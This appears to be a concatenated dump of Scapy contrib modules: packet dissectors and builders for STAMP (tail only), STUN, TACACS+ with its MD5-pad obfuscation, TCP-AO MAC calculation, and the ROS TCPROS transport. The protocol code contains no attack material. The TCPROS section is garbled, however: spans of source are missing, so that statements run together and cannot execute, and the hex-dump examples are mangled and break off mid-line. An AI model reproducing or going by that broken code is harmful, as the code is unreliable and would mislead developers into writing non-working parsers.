UTCTimeField('ts_rx', 0, fmt='Q') ), IntField('seq_sender', 0), MultipleTypeField( [ (TimeStampField('ts_sender', 0), lambda pkt:pkt.err_estimate_sender.Z == 0) ], UTCTimeField('ts_sender', 0, fmt='Q') ), PacketField('err_estimate_sender', ErrorEstimate(), ErrorEstimate), ShortField('mbz1', 0), ByteField('ttl_sender', 255), NBytesField('mbz2', 0, 3), # 3 bytes MBZ PacketListField('tlv_objects', [], STAMPTestTLV), ] bind_layers(UDP, STAMPSessionSenderTestUnauthenticated, dport=862) bind_layers(UDP, STAMPSessionReflectorTestUnauthenticated, sport=862) ================================================ FILE: scapy/contrib/stun.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Pavel Oborin # RFC 8489 # scapy.contrib.description = Session Traversal Utilities for NAT (STUN) # scapy.contrib.status = loads """ STUN (RFC 8489) TLV code derived from the DTP implementation: Thanks to Nicolas Bareil, Arnaud Ebalard, Jochen Bartl. """ import struct import itertools from scapy.layers.inet import UDP, TCP from scapy.config import conf from scapy.packet import Packet, bind_bottom_up, bind_top_down from scapy.utils import inet_ntoa, inet_aton from scapy.fields import ( BitField, BitEnumField, LenField, IntField, PadField, StrLenField, PacketListField, XShortField, FieldLenField, ShortField, ByteEnumField, ByteField, XNBytesField, XLongField, XIntField, XBitField, IPField, IP6Field, MultipleTypeField, ) MAGIC_COOKIE = 0x2112A442 _stun_class = { "request": 0b00, "indication": 0b01, "success response": 0b10, "error response": 0b11 } _stun_method = { "Binding": 0b000000000001 } # fmt: off _stun_message_type = { "{} {}".format(method, class_): (method_code & 0b000000001111) | # noqa: E221,W504 (class_code & 0b01) << 4 | # noqa: E221,W504 (method_code & 0b000001110000) << 5 | # noqa: E221,W504 (class_code & 0b10) << 7 | # noqa: E221,W504 (method_code & 0b111110000000) << 9 for (method, method_code), (class_, class_code) in itertools.product(_stun_method.items(), _stun_class.items()) # noqa: E131 } # fmt: on class STUNGenericTlv(Packet): name = "STUN Generic TLV" fields_desc = [ XShortField("type", 0x0000), FieldLenField("length", None, length_of="value"), PadField(StrLenField("value", "", length_from=lambda pkt:pkt.length), align=4) ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kwargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return _stun_tlv_class.get(t, cls) return cls def guess_payload_class(self, payload): return conf.padding_layer class STUNUsername(STUNGenericTlv): name = "STUN Username" fields_desc = [ XShortField("type", 0x0006), FieldLenField("length", None, length_of="username"), PadField( StrLenField("username", '', length_from=lambda pkt: pkt.length), align=4, padwith=b"\x20" ) ] class STUNMessageIntegrity(STUNGenericTlv): name = "STUN Message Integrity" fields_desc = [ XShortField("type", 0x0008), ShortField("length", 20), XNBytesField("hmac_sha1", 0, 20) ] def post_build(self, pkt, pay): pkt += pay return pkt class STUNPriority(STUNGenericTlv): name = "STUN Priority" fields_desc = [ XShortField("type", 0x0024), ShortField("length", 4), IntField("priority", 0) ] _xor_mapped_address_family = { "IPv4": 0x01, "IPv6": 0x02 } class XorPort(ShortField): def m2i(self, pkt, x): return x ^ (MAGIC_COOKIE >> 16) def i2m(self, pkt, x): return x ^ (MAGIC_COOKIE >> 16) class XorIp(IPField): def m2i(self, pkt, x): return inet_ntoa(struct.pack(">i", (struct.unpack(">i", x)[0] ^ MAGIC_COOKIE))) def i2m(self, pkt, x): if x is None: return b"\x00\x00\x00\x00" return struct.pack(">i", struct.unpack(">i", inet_aton(x))[0] ^ MAGIC_COOKIE) class XorIp6(IP6Field): def m2i(self, pkt, x): addr = self._xor_address(pkt, x) return super().m2i(pkt, addr) def i2m(self, pkt, x): addr = super().i2m(pkt, x) return self._xor_address(pkt, addr) def _xor_address(self, pkt, addr): xor_words = [pkt.parent.magic_cookie] xor_words += struct.unpack( ">III", pkt.parent.transaction_id.to_bytes(12, "big") ) addr_words = struct.unpack(">IIII", addr) xor_addr = [a ^ b for a, b in zip(addr_words, xor_words)] return struct.pack(">IIII", *xor_addr) class STUNXorMappedAddress(STUNGenericTlv): name = "STUN XOR Mapped Address" fields_desc = [ XShortField("type", 0x0020), FieldLenField("length", None, length_of="xip", adjust=lambda pkt, x: x + 4), ByteField("RESERVED", 0), ByteEnumField("address_family", 1, _xor_mapped_address_family), XorPort("xport", 0), MultipleTypeField( [ (XorIp("xip", "127.0.0.1"), lambda pkt: pkt.address_family == 1), (XorIp6("xip", "::1"), lambda pkt: pkt.address_family == 2), ], XorIp("xip", "127.0.0.1"), ), ] class STUNMappedAddress(STUNGenericTlv): name = "STUN Mapped Address" fields_desc = [ XShortField("type", 0x0001), FieldLenField("length", None, length_of="ip", adjust=lambda pkt, x: x + 4), ByteField("RESERVED", 0), ByteEnumField("address_family", 1, _xor_mapped_address_family), ShortField("port", 0), MultipleTypeField( [ (IPField("ip", "127.0.0.1"), lambda pkt: pkt.address_family == 1), (IP6Field("ip", "::1"), lambda pkt: pkt.address_family == 2), ], IPField("ip", "127.0.0.1"), ), ] class STUNUseCandidate(STUNGenericTlv): name = "STUN Use Candidate" fields_desc = [ XShortField("type", 0x0025), FieldLenField("length", 0, length_of="value"), PadField(StrLenField("value", "", length_from=lambda pkt: pkt.length), align=4) ] class STUNFingerprint(STUNGenericTlv): name = "STUN Fingerprint" fields_desc = [ XShortField("type", 0x8028), ShortField("length", 4), XIntField("crc_32", None) ] class STUNIceControlling(STUNGenericTlv): name = "STUN ICE-controlling" fields_desc = [ XShortField("type", 0x802a), ShortField("length", 8), XLongField("tie_breaker", None) ] class STUNGoogNetworkInfo(STUNGenericTlv): name = "STUN Google Network Info" fields_desc = [ XShortField("type", 0xc057), ShortField("length", 4), ShortField("network_id", 0), ShortField("network_cost", 999) ] _stun_tlv_class = { 0x0001: STUNMappedAddress, 0x0006: STUNUsername, 0x0008: STUNMessageIntegrity, 0x0020: STUNXorMappedAddress, 0x0025: STUNUseCandidate, 0x0024: STUNPriority, 0x8028: STUNFingerprint, 0x802a: STUNIceControlling, 0xc057: STUNGoogNetworkInfo } _stun_tlv_attribute_types = { "MAPPED-ADDRESS": 0x0001, "USERNAME": 0x0006, "MESSAGE-INTEGRITY": 0x0008, "ERROR-CODE": 0x0009, "UNKNOWN-ATTRIBUTES": 0x000A, "REALM": 0x0014, "NONCE": 0x0015, "XOR-MAPPED-ADDRESS": 0x0020, "PRIORITY": 0x0024, "USE-CANDIDATE": 0x0025, "SOFTWARE": 0x8022, "ALTERNATE-SERVER": 0x8023, "FINGERPRINT": 0x8028, "ICE-CONTROLLED": 0x8029, "ICE-CONTROLLING": 0x802a, "GOOG-NETWORK-INFO": 0xc057 } class STUN(Packet): description = "" fields_desc = [ BitField('RESERVED', 0b00, size=2), # <- always zeroes BitEnumField('stun_message_type', None, 14, _stun_message_type), LenField('length', None, fmt='!h'), XIntField('magic_cookie', MAGIC_COOKIE), XBitField('transaction_id', None, 96), PacketListField("attributes", [], STUNGenericTlv) ] def post_build(self, pkt, pay): pkt += pay if self.length is None: pkt = pkt[:2] + struct.pack("!h", len(pkt) - 20) + pkt[4:] for attr in self.attributes: if isinstance(attr, STUNMessageIntegrity): pass # TODO Fill hmac-sha1 in MESSAGE-INTEGRITY attribute return pkt bind_bottom_up(UDP, STUN, sport=3478) bind_bottom_up(UDP, STUN, dport=3478) bind_top_down(UDP, STUN, sport=3478, dport=3478) bind_bottom_up(TCP, STUN, sport=3478) bind_bottom_up(TCP, STUN, dport=3478) bind_top_down(TCP, STUN, sport=3478, dport=3478) ================================================ FILE: scapy/contrib/tacacs.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2017 Francois Contat """ TACACS Based on tacacs+ v6 draft https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06 """ # scapy.contrib.description = Terminal Access Controller Access-Control System+ # scapy.contrib.status = loads import struct import hashlib from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, IntField from scapy.fields import FieldListField from scapy.fields import FieldLenField, ConditionalField, StrLenField from scapy.layers.inet import TCP from scapy.compat import chb, orb from scapy.config import conf SECRET = 'test' def obfuscate(pay, secret, session_id, version, seq): ''' Obfuscation methodology from section 3.7 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.7 ''' pad = b"" curr_pad = b"" # pad length must equal the payload to obfuscate. # pad = {MD5_1 [,MD5_2 [ ... ,MD5_n]]} while len(pad) < len(pay): msg = hashlib.md5() msg.update(struct.pack('!I', session_id)) msg.update(secret.encode()) msg.update(struct.pack('!BB', version, seq)) msg.update(curr_pad) curr_pad = msg.digest() pad += curr_pad # Obf/Unobfuscation via XOR operation between plaintext and pad return b"".join(chb(orb(pad[i]) ^ orb(pay[i])) for i in range(len(pay))) TACACSPRIVLEVEL = {15: 'Root', 1: 'User', 0: 'Minimum'} ########################## # Authentication Packets # ########################## TACACSVERSION = {1: 'Tacacs', 192: 'Tacacs+'} TACACSTYPE = {1: 'Authentication', 2: 'Authorization', 3: 'Accounting'} TACACSFLAGS = {1: 'Unencrypted', 4: 'Single Connection'} TACACSAUTHENACTION = {1: 'Login', 2: 'Change Pass', 4: 'Send Authentication'} TACACSAUTHENTYPE = {1: 'ASCII', 2: 'PAP', 3: 'CHAP', 4: 'ARAP', # Deprecated 5: 'MSCHAP', 6: 'MSCHAPv2'} TACACSAUTHENSERVICE = {0: 'None', 1: 'Login', 2: 'Enable', 3: 'PPP', 4: 'ARAP', 5: 'PT', 6: 'RCMD', 7: 'X25', 8: 'NASI', 9: 'FwProxy'} TACACSREPLYPASS = {1: 'PASS', 2: 'FAIL', 3: 'GETDATA', 4: 'GETUSER', 5: 'GETPASS', 6: 'RESTART', 7: 'ERROR', 21: 'FOLLOW'} TACACSREPLYFLAGS = {1: 'NOECHO'} TACACSCONTINUEFLAGS = {1: 'ABORT'} class TacacsAuthenticationStart(Packet): ''' Tacacs authentication start body from section 4.1 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.1 ''' name = 'Tacacs Authentication Start Body' fields_desc = [ByteEnumField('action', 1, TACACSAUTHENACTION), ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL), ByteEnumField('authen_type', 1, TACACSAUTHENTYPE), ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE), FieldLenField('user_len', None, fmt='!B', length_of='user'), FieldLenField('port_len', None, fmt='!B', length_of='port'), FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'), # noqa: E501 FieldLenField('data_len', None, fmt='!B', length_of='data'), ConditionalField(StrLenField('user', '', length_from=lambda x: x.user_len), # noqa: E501 lambda x: x != ''), StrLenField('port', '', length_from=lambda x: x.port_len), StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len), # noqa: E501 StrLenField('data', '', length_from=lambda x: x.data_len)] class TacacsAuthenticationReply(Packet): ''' Tacacs authentication reply body from section 4.2 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.2 ''' name = 'Tacacs Authentication Reply Body' fields_desc = [ByteEnumField('status', 1, TACACSREPLYPASS), ByteEnumField('flags', 0, TACACSREPLYFLAGS), FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'), # noqa: E501 FieldLenField('data_len', None, fmt='!H', length_of='data'), StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len), # noqa: E501 StrLenField('data', '', length_from=lambda x: x.data_len)] class TacacsAuthenticationContinue(Packet): ''' Tacacs authentication continue body from section 4.3 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.3 ''' name = 'Tacacs Authentication Continue Body' fields_desc = [FieldLenField('user_msg_len', None, fmt='!H', length_of='user_msg'), # noqa: E501 FieldLenField('data_len', None, fmt='!H', length_of='data'), ByteEnumField('flags', 1, TACACSCONTINUEFLAGS), StrLenField('user_msg', '', length_from=lambda x: x.user_msg_len), # noqa: E501 StrLenField('data', '', length_from=lambda x: x.data_len)] ######################### # Authorization Packets # ######################### TACACSAUTHORTYPE = {0: 'Not Set', 1: 'None', 2: 'Kerberos 5', 3: 'Line', 4: 'Enable', 5: 'Local', 6: 'Tacacs+', 8: 'Guest', 16: 'Radius', 17: 'Kerberos 4', 32: 'RCMD'} TACACSAUTHORSTATUS = {1: 'Pass Add', 2: 'Pass repl', 16: 'Fail', 17: 'Error', 33: 'Follow'} class TacacsAuthorizationRequest(Packet): ''' Tacacs authorization request body from section 5.1 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-5.1 ''' name = 'Tacacs Authorization Request Body' fields_desc = [ByteEnumField('authen_method', 0, TACACSAUTHORTYPE), ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL), ByteEnumField('authen_type', 1, TACACSAUTHENTYPE), ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE), FieldLenField('user_len', None, fmt='!B', length_of='user'), FieldLenField('port_len', None, fmt='!B', length_of='port'), FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'), # noqa: E501 FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'), # noqa: E501 FieldListField('arg_len_list', [], ByteField('', 0), length_from=lambda pkt: pkt.arg_cnt), StrLenField('user', '', length_from=lambda x: x.user_len), StrLenField('port', '', length_from=lambda x: x.port_len), StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len)] # noqa: E501 def guess_payload_class(self, pay): if self.arg_cnt > 0: return TacacsPacketArguments return conf.padding_layer class TacacsAuthorizationReply(Packet): ''' Tacacs authorization reply body from section 5.2 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-5.2 ''' name = 'Tacacs Authorization Reply Body' fields_desc = [ByteEnumField('status', 0, TACACSAUTHORSTATUS), FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'), # noqa: E501 FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'), # noqa: E501 FieldLenField('data_len', None, fmt='!H', length_of='data'), FieldListField('arg_len_list', [], ByteField('', 0), length_from=lambda pkt: pkt.arg_cnt), StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len), # noqa: E501 StrLenField('data', '', length_from=lambda x: x.data_len)] def guess_payload_class(self, pay): if self.arg_cnt > 0: return TacacsPacketArguments return conf.padding_layer ###################### # Accounting Packets # ###################### TACACSACNTFLAGS = {2: 'Start', 4: 'Stop', 8: 'Watchdog'} TACACSACNTSTATUS = {1: 'Success', 2: 'Error', 33: 'Follow'} class TacacsAccountingRequest(Packet): ''' Tacacs accounting request body from section 6.1 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-6.1 ''' name = 'Tacacs Accounting Request Body' fields_desc = [ByteEnumField('flags', 0, TACACSACNTFLAGS), ByteEnumField('authen_method', 0, TACACSAUTHORTYPE), ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL), ByteEnumField('authen_type', 1, TACACSAUTHENTYPE), ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE), FieldLenField('user_len', None, fmt='!B', length_of='user'), FieldLenField('port_len', None, fmt='!B', length_of='port'), FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'), # noqa: E501 FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'), # noqa: E501 FieldListField('arg_len_list', [], ByteField('', 0), length_from=lambda pkt: pkt.arg_cnt), StrLenField('user', '', length_from=lambda x: x.user_len), StrLenField('port', '', length_from=lambda x: x.port_len), StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len)] # noqa: E501 def guess_payload_class(self, pay): if self.arg_cnt > 0: return TacacsPacketArguments return conf.padding_layer class TacacsAccountingReply(Packet): ''' Tacacs accounting reply body from section 6.2 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-6.2 ''' name = 'Tacacs Accounting Reply Body' fields_desc = [FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'), # noqa: E501 FieldLenField('data_len', None, fmt='!H', length_of='data'), ByteEnumField('status', None, TACACSACNTSTATUS), StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len), # noqa: E501 StrLenField('data', '', length_from=lambda x: x.data_len)] class TacacsPacketArguments(Packet): ''' Class defined to handle the arguments listed at the end of tacacs+ Authorization and Accounting packets. ''' __slots__ = ['_len'] name = 'Arguments in Tacacs+ packet' fields_desc = [StrLenField('data', '', length_from=lambda pkt: pkt._len)] def pre_dissect(self, s): cur = self.underlayer i = 0 # Searching the position in layer in order to get its length while isinstance(cur, TacacsPacketArguments): cur = cur.underlayer i += 1 self._len = cur.arg_len_list[i] return s def guess_payload_class(self, pay): cur = self.underlayer i = 0 # Guessing if Argument packet. Nothing in encapsulated via tacacs+ while isinstance(cur, TacacsPacketArguments): cur = cur.underlayer i += 1 if i + 1 < cur.arg_cnt: return TacacsPacketArguments return conf.padding_layer class TacacsClientPacket(Packet): ''' Super class for tacacs packet in order to get them unencrypted Obfuscation methodology from section 3.7 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.7 ''' def post_dissect(self, pay): if self.flags == 0: pay = obfuscate(pay, SECRET, self.session_id, self.version, self.seq) # noqa: E501 return pay class TacacsHeader(TacacsClientPacket): ''' Tacacs Header packet from section 3.8 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.8 ''' name = 'Tacacs Header' fields_desc = [ByteEnumField('version', 192, TACACSVERSION), ByteEnumField('type', 1, TACACSTYPE), ByteField('seq', 1), ByteEnumField('flags', 0, TACACSFLAGS), IntField('session_id', 0), IntField('length', None)] def guess_payload_class(self, payload): # Guessing packet type from type and seq values # Authentication packet - type 1 if self.type == 1: if self.seq % 2 == 0: return TacacsAuthenticationReply if sum(struct.unpack('bbbb', payload[4:8])) == len(payload[8:]): return TacacsAuthenticationStart elif sum(struct.unpack('!hh', payload[:4])) == len(payload[5:]): return TacacsAuthenticationContinue # Authorization packet - type 2 if self.type == 2: if self.seq % 2 == 0: return TacacsAuthorizationReply return TacacsAuthorizationRequest # Accounting packet - type 3 if self.type == 3: if self.seq % 2 == 0: return TacacsAccountingReply return TacacsAccountingRequest return conf.raw_layer def post_build(self, p, pay): # Setting length of packet to obfuscate if not filled by user if self.length is None and pay: p = p[:-4] + struct.pack('!I', len(pay)) if self.flags == 0: pay = obfuscate(pay, SECRET, self.session_id, self.version, self.seq) # noqa: E501 return p + pay def hashret(self): return struct.pack('I', self.session_id) def answers(self, other): return (isinstance(other, TacacsHeader) and self.seq == other.seq + 1 and self.type == other.type and self.session_id == other.session_id) bind_layers(TCP, TacacsHeader, dport=49) bind_layers(TCP, TacacsHeader, sport=49) bind_layers(TacacsHeader, TacacsAuthenticationStart, type=1, dport=49) bind_layers(TacacsHeader, TacacsAuthenticationReply, type=1, sport=49) if __name__ == '__main__': from scapy.main import interact interact(mydict=globals(), mybanner='tacacs+') ================================================ FILE: scapy/contrib/tcpao.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Leonard Crestez # scapy.contrib.description = TCP-AO Signature Calculation # scapy.contrib.status = loads """Packet-processing utilities implementing RFC5925 and RFC5926""" import logging from scapy.compat import orb from scapy.layers.inet import IP, TCP from scapy.layers.inet import tcp_pseudoheader from scapy.layers.inet6 import IPv6 from scapy.packet import Packet from scapy.pton_ntop import inet_pton import socket import struct from typing import ( Union, ) logger = logging.getLogger(__name__) def _hmac_sha1_digest(key, msg): # type: (bytes, bytes) -> bytes import hmac import hashlib return hmac.new(key, msg, hashlib.sha1).digest() def _cmac_aes_digest(key, msg): # type: (bytes, bytes) -> bytes from cryptography.hazmat.primitives import cmac from cryptography.hazmat.primitives.ciphers import algorithms from cryptography.hazmat.backends import default_backend backend = default_backend() c = cmac.CMAC(algorithms.AES(key), backend=backend) c.update(bytes(msg)) return c.finalize() class TCPAOAlg: @classmethod def kdf(cls, master_key, context): # type: (bytes, bytes) -> bytes raise NotImplementedError() @classmethod def mac(cls, traffic_key, context): # type: (bytes, bytes) -> bytes raise NotImplementedError() maclen = -1 class TCPAOAlg_HMAC_SHA1(TCPAOAlg): @classmethod def kdf(cls, master_key, context): # type: (bytes, bytes) -> bytes input = b"\x01" + b"TCP-AO" + context + b"\x00\xa0" return _hmac_sha1_digest(master_key, input) @classmethod def mac(cls, traffic_key, message): # type: (bytes, bytes) -> bytes return _hmac_sha1_digest(traffic_key, message)[:12] maclen = 12 class TCPAOAlg_CMAC_AES(TCPAOAlg): @classmethod def kdf(self, master_key, context): # type: (bytes, bytes) -> bytes if len(master_key) == 16: key = master_key else: key = _cmac_aes_digest(b"\x00" * 16, master_key) return _cmac_aes_digest(key, b"\x01TCP-AO" + context + b"\x00\x80") @classmethod def mac(self, traffic_key, message): # type: (bytes, bytes) -> bytes return _cmac_aes_digest(traffic_key, message)[:12] maclen = 12 def get_alg(name): # type: (str) -> TCPAOAlg if name.upper() == "HMAC-SHA-1-96": return TCPAOAlg_HMAC_SHA1() elif name.upper() == "AES-128-CMAC-96": return TCPAOAlg_CMAC_AES() else: raise ValueError("Bad TCP AuthOpt algorithms {}".format(name)) def _get_ipvx_src(u): # type: (Union[IP, IPv6]) -> bytes if isinstance(u, IP): return inet_pton(socket.AF_INET, u.src) elif isinstance(u, IPv6): return inet_pton(socket.AF_INET6, u.src) else: raise Exception("Neither IP nor IPv6 found on packet") def _get_ipvx_dst(u): # type: (Union[IP, IPv6]) -> bytes if isinstance(u, IP): return inet_pton(socket.AF_INET, u.dst) elif isinstance(u, IPv6): return inet_pton(socket.AF_INET6, u.dst) else: raise Exception("Neither IP nor IPv6 found on packet") def build_context( saddr, # type: bytes daddr, # type: bytes sport, # type: int dport, # type: int src_isn, # type: int dst_isn, # type: int ): # type: (...) -> bytes """Build context bytes as specified by RFC5925 section 5.2""" if len(saddr) != len(daddr) or (len(saddr) != 4 and len(saddr) != 16): raise ValueError("saddr and daddr must be 4-byte or 16-byte addresses") return ( saddr + daddr + struct.pack( "!HHII", sport, dport, src_isn, dst_isn, ) ) def build_context_from_packet( p, # type: Packet src_isn, # type: int dst_isn, # type: int ): # type: (...) -> bytes """Build context bytes as specified by RFC5925 section 5.2""" tcp = p[TCP] return build_context( _get_ipvx_src(tcp.underlayer), _get_ipvx_dst(tcp.underlayer), tcp.sport, tcp.dport, src_isn, dst_isn, ) def build_message_from_packet(p, include_options=True, sne=0): # type: (Packet, bool, int) -> bytes """Build message bytes as described by RFC5925 section 5.1""" result = bytearray() result += struct.pack("!I", sne) result += tcp_pseudoheader(p[TCP]) # tcp header with checksum set to zero th_bytes = bytes(p[TCP]) result += th_bytes[:16] result += b"\x00\x00" result += th_bytes[18:20] # Even if include_options=False the TCP-AO option itself is still included # with the MAC set to all-zeros. This means we need to parse TCP options. pos = 20 th = p[TCP] doff = th.dataofs if doff is None: opt_len = len(th.get_field("options").i2m(th, th.options)) doff = 5 + ((opt_len + 3) // 4) tcphdr_optend = doff * 4 while pos < tcphdr_optend: optnum = orb(th_bytes[pos]) pos += 1 if optnum == 0 or optnum == 1: if include_options: result += bytearray([optnum]) continue optlen = orb(th_bytes[pos]) pos += 1 if pos + optlen - 2 > tcphdr_optend: logger.info("bad tcp option %d optlen %d beyond end-of-header", optnum, optlen) break if optlen < 2: logger.info("bad tcp option %d optlen %d less than two", optnum, optlen) break if optnum == 29: if optlen < 4: logger.info("bad tcp option %d optlen %d", optnum, optlen) break result += th_bytes[pos - 2: pos + 2] result += (optlen - 4) * b"\x00" elif include_options: result += th_bytes[pos - 2: pos + optlen - 2] pos += optlen - 2 result += bytes(p[TCP].payload) return result def calc_tcpao_traffic_key(p, alg, master_key, sisn, disn): # type: (Packet, TCPAOAlg, bytes, int, int) -> bytes """Calculate TCP-AO traffic-key from packet and initial sequence numbers This is constant for an established connection. """ return alg.kdf(master_key, build_context_from_packet(p, sisn, disn)) def calc_tcpao_mac(p, alg, traffic_key, include_options=True, sne=0): # type: (Packet, TCPAOAlg, bytes, bool, int) -> bytes """Calculate TCP-AO MAC from packet and traffic key""" return alg.mac(traffic_key, build_message_from_packet( p, include_options=include_options, sne=sne )) def sign_tcpao( p, alg, traffic_key, keyid=0, rnextkeyid=0, include_options=True, sne=0, ): # type: (Packet, TCPAOAlg, bytes, int, int, bool, int) -> None """Calculate TCP-AO option value and insert into packet""" th = p[TCP] keyids = struct.pack("BB", keyid, rnextkeyid) th.options = th.options + [('AO', keyids + alg.maclen * b"\x00")] message_bytes = calc_tcpao_mac( p, alg, traffic_key, include_options=include_options, sne=sne) mac = alg.mac(traffic_key, message_bytes) th.options[-1] = ('AO', keyids + mac) ================================================ FILE: scapy/contrib/tcpros.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Víctor Mayoral-Vilches """ TCPROS transport layer for ROS Melodic Morenia 1.14.5 """ # scapy.contrib.description = TCPROS transport layer for ROS Melodic Morenia # scapy.contrib.status = loads # scapy.contrib.name = tcpros import struct from scapy.compat import raw from scapy.fields import ( LEIntField, StrLenField, FieldLenField, StrFixedLenField, ByteField, ) from scapy.layers.http import HTTP, HTTPRequest, HTTPResponse from scapy.packet import Packet, Raw, PacketListField from scapy.config import conf class TCPROS(Packet): """ TCPROS is a transport layer for ROS Messages and Services. It uses standard TCP/IP sockets for transporting message data. Inbound connections are received via a TCP Server Socket with a header containing message data type and routing information. This class focuses on capturing the ROS Slave API An example package is presented below:: B0 00 00 00 26 00 00 00 63 61 6C 6C 65 72 69 64 ....&...callerid 3D 2F 72 6F 73 74 6F 70 69 63 5F 38 38 33 30 35 =/rostopic_88305 5F 31 35 39 31 35 33 38 37 38 37 35 30 31 0A 00 _1591538787501.. 00 00 6C 61 74 63 68 69 6E 67 3D 31 27 00 00 00 ..latching=1'... 6D 64 35 73 75 6D 3D 39 39 32 63 65 38 61 31 36 md5sum=992ce8a16 38 37 63 65 63 38 63 38 62 64 38 38 33 65 63 37 87cec8c8bd883ec7 33 63 61 34 31 64 31 1F 00 00 00 6D 65 73 73 61 3ca41d1....messa 67 65 5F 64 65 66 69 6E 69 74 69 6F 6E 3D 73 74 ge_definition=st 72 69 6E 67 20 64 61 74 61 0A 0E 00 00 00 74 6F ring data.....to 70 69 63 3D 2F 63 68 61 74 74 65 72 14 00 00 00 pic=/chatter.... 74 79 70 65 3D 73 74 64 5F 6D 73 67 73 2F 53 74 type=std_msgs/St 72 69 6E 67 ring Sources: - http://wiki.ros.org/ROS/TCPROS - http://wiki.ros.org/ROS/Connection%20Header - https://docs.python.org/3/library/struct.html - https://scapy.readthedocs.io/en/latest/build_dissect.html TODO: - Extend to support subscriber's interactions - Unify with subscriber's header NOTES: - 4-byte length + [4-byte field length + field=value ]* - All length fields are little-endian integers. Field names and values are strings. - Cooked as of ROS Melodic Morenia v1.14.5. """ name = "TCPROS" def guess_payload_class(self, payload): string_payload = payload.decode("iso-8859-1") # decode to string # for search # flag indicating if the TCPROS encoding format is met # 4-byte length + [4-byte field length + field=value ]* total_length = len(payload) total_length_payload = struct.unpack(" total_length_payload) and ( total_length_payload == remain_len ) if conf.debug_dissector: print(payload) print(string_payload) print("total_length: " + str(total_length)) print("total_length_payload: " + str(total_length_payload)) print("remain: " + str(remain)) print(flag_encoding_format) flag_encoding_format_subfields = False if flag_encoding_format: # flag indicating that sub-fields meet # TCPROS encoding format: # [4-byte field length + field=value ]* flag_encoding_format_subfields = True while remain: field_len_bytes = struct.unpack(" 0100 0A 3C 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A 3C 6D ..getPid 0120 3C 2F 6D 65 74 68 6F 64 4E 61 6D 65 3E 0A 3C 70 .

..< 0140 76 61 6C 75 65 3E 3C 73 74 72 69 6E 67 3E 2F 72 value>/r 0150 6F 73 74 6F 70 69 63 3C 2F 73 74 72 69 6E 67 3E ostopic 0160 3C 2F 76 61 6C 75 65 3E 0A 3C 2F 70 61 72 61 6D .... The counterpart (the Master) answers with (HTTP Response):: 0000 02 42 0C 00 00 04 02 42 0C 00 00 02 08 00 45 00 .B.....B......E. 0010 01 A2 8C CD 40 00 40 06 94 83 0C 00 00 02 0C 00 ....@.@......... 0020 00 04 2C 2F 8E 62 87 00 82 4C C7 A9 93 F1 80 18 ..,/.b...L...... 0030 01 F6 19 9A 00 00 01 01 08 0A 39 82 4B 7B BB 36 ..........9.K{.6 0040 D2 1A 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F ..HTTP/1.1 200 O 0050 4B 0D 0A 53 65 72 76 65 72 3A 20 42 61 73 65 48 K..Server: BaseH 0060 54 54 50 2F 30 2E 33 20 50 79 74 68 6F 6E 2F 32 TTP/0.3 Python/2 0070 2E 37 2E 31 37 0D 0A 44 61 74 65 3A 20 53 75 6E .7.17..Date: Sun 0080 2C 20 30 36 20 44 65 63 20 32 30 32 30 20 31 35 , 06 Dec 2020 15 0090 3A 31 37 3A 33 38 20 47 4D 54 0D 0A 43 6F 6E 74 :17:38 GMT..Cont 00a0 65 6E 74 2D 74 79 70 65 3A 20 74 65 78 74 2F 78 ent-type: text/x 00b0 6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 6C 65 6E 67 ml..Content-leng 00c0 74 68 3A 20 32 32 39 0D 0A 0D 0A 3C 3F 78 6D 6C th: 229.... 00e0 0A 3C 6D 65 74 68 6F 64 52 65 73 70 6F 6E 73 65 .....< 0120 69 6E 74 3E 31 3C 2F 69 6E 74 3E 3C 2F 76 61 6C int>1..398..... In another communication, and endpoint could request a parameter using the Parameter Server API (HTTP Request):: 0000 02 42 0C 00 00 02 02 42 0C 00 00 04 08 00 45 00 .B.....B......E. 0010 01 C0 8B 72 40 00 40 06 95 C0 0C 00 00 04 0C 00 ...r@.@......... 0020 00 02 90 10 2C 